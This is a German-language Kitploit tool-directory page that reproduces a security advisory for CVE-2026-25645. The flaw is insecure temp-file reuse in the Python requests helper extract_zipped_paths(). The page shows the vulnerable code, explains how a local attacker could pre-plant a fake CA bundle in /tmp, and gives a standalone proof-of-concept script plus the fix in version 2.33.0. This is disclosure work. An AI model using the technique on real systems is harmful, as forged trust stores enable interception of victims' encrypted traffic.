Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25645 — Unsichere Wiederverwendung temporärer Dateien in extract_zipped_paths() | Kitploit
Tools/GitHubGitHub/jaycelation/cve-2026-25645
Statische AnalyseSchwachstellenanalyseExploitationWebsicherheitPapers & Forschung
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Unsichere Wiederverwendung temporärer Dateien in extract_zipped_paths()

Repository anzeigen
20vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

[CVE-2026-25645] Unsichere Wiederverwendung temporärer Dateien in requests.utils.extract_zipped_paths()

Zusammenfassung

In der requests-Bibliothek (Python) wurde eine Schwachstelle in der öffentlichen Hilfsfunktion requests.utils.extract_zipped_paths() identifiziert. Die Funktion verwendet einen vorhersehbaren, nicht eindeutigen Dateinamen, wenn sie versucht, Dateien in das temporäre Verzeichnis des Systems (/tmp) zu extrahieren, und sie überprüft nicht die Integrität oder Eigentümerschaft bereits vorhandener Dateien.

Während das Standardverhalten von requests in Kombination mit certifi durch importlib.resources abgesichert ist, bleibt diese Hilfsfunktion eine Sicherheitsfalle für nachgelagerte Anwendungen oder benutzerdefinierte Implementierungen, die sich auf sie verlassen, um gezippte Ressourcen zu verarbeiten.

Schwachstelleninformationen

  • CVE-ID: CVE-2026-25645
  • CWE: CWE-377 (Unsichere temporäre Datei)
  • Schweregrad: Mittel (5.0)
  • CVSS-Vektor: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Betroffene Versionen: < 2.33.0

CVSS v3 Basis-Metriken:

  • Angriffsvektor: Lokal
  • Angriffskomplexität: Niedrig
  • Erforderliche Privilegien: Niedrig
  • Benutzerinteraktion: Erforderlich
  • Scope: Unverändert
  • Vertraulichkeit: Keine
  • Integrität: Hoch
  • Verfügbarkeit: Keine

Technische Analyse

Der Mechanismus

Die Funktion requests.utils.extract_zipped_paths() ist dafür ausgelegt, Mitglieder aus einem Zip-Archiv zu extrahieren (häufig verwendet für CA-Bundles in zipapp-Umgebungen). Die anfällige Logik folgt diesen Schritten:

  1. Vorhersehbares Ziel: Sie verbindet das temporäre Systemverzeichnis mit dem basename des Zip-Mitglieds (z. B. /tmp/cacert.pem).
  2. Unsichere Prüfung: Sie verwendet if not os.path.exists(extracted_path), um zu entscheiden, ob die Datei extrahiert werden soll.
  3. Pfadrückgabe: Wenn die Datei existiert, gibt sie den Pfad sofort zurück, ohne sicherzustellen, dass die Datei vom aktuellen Prozess erstellt wurde, oder ihren Inhalt zu überprüfen.

Ursachenanalyse

In requests/utils.py ist die Logik wie folgt implementiert:

# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

Auswirkung & Ausnutzung

Ein lokaler Angreifer mit niedrigen Privilegien kann dies ausnutzen, indem er eine bösartige Datei (z. B. ein gefälschtes CA-Bundle) vorab am vorhersehbaren Pfad in /tmp erstellt. Wenn ein Opfer (Benutzerinteraktion erforderlich) eine Anwendung ausführt, die diese Hilfsfunktion aufruft:

  1. Die Hilfsfunktion sieht, dass die Datei bereits existiert.
  2. Die Hilfsfunktion überspringt die Extraktion und gibt den Pfad zur bösartigen Datei zurück.
  3. Die Opferanwendung lädt die Daten des Angreifers, was zu einer hohen Integritätskompromittierung führt (z. B. Laden eines gefälschten Trust Stores).

Proof of Concept (Standalone)

Das folgende Skript demonstriert die Schwachstelle, indem es zeigt, wie die Hilfsfunktion eine bereits vorhandene „gefälschte" Datei anstelle der legitimen aus dem Archiv wiederverwendet.

import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

Behebung

Das Problem wird in Version 2.33.0 behoben. Die Korrektur beinhaltet den Übergang zu importlib.resources, um gezippte Ressourcen sicherer zu verarbeiten, wodurch sichergestellt wird, dass Extraktionen in randomisierten, nicht vorhersehbaren Verzeichnissen erfolgen und die Wiederverwendung vorhandener Dateien in gemeinsam beschreibbaren Verzeichnissen vermieden wird.

Tool herunterladen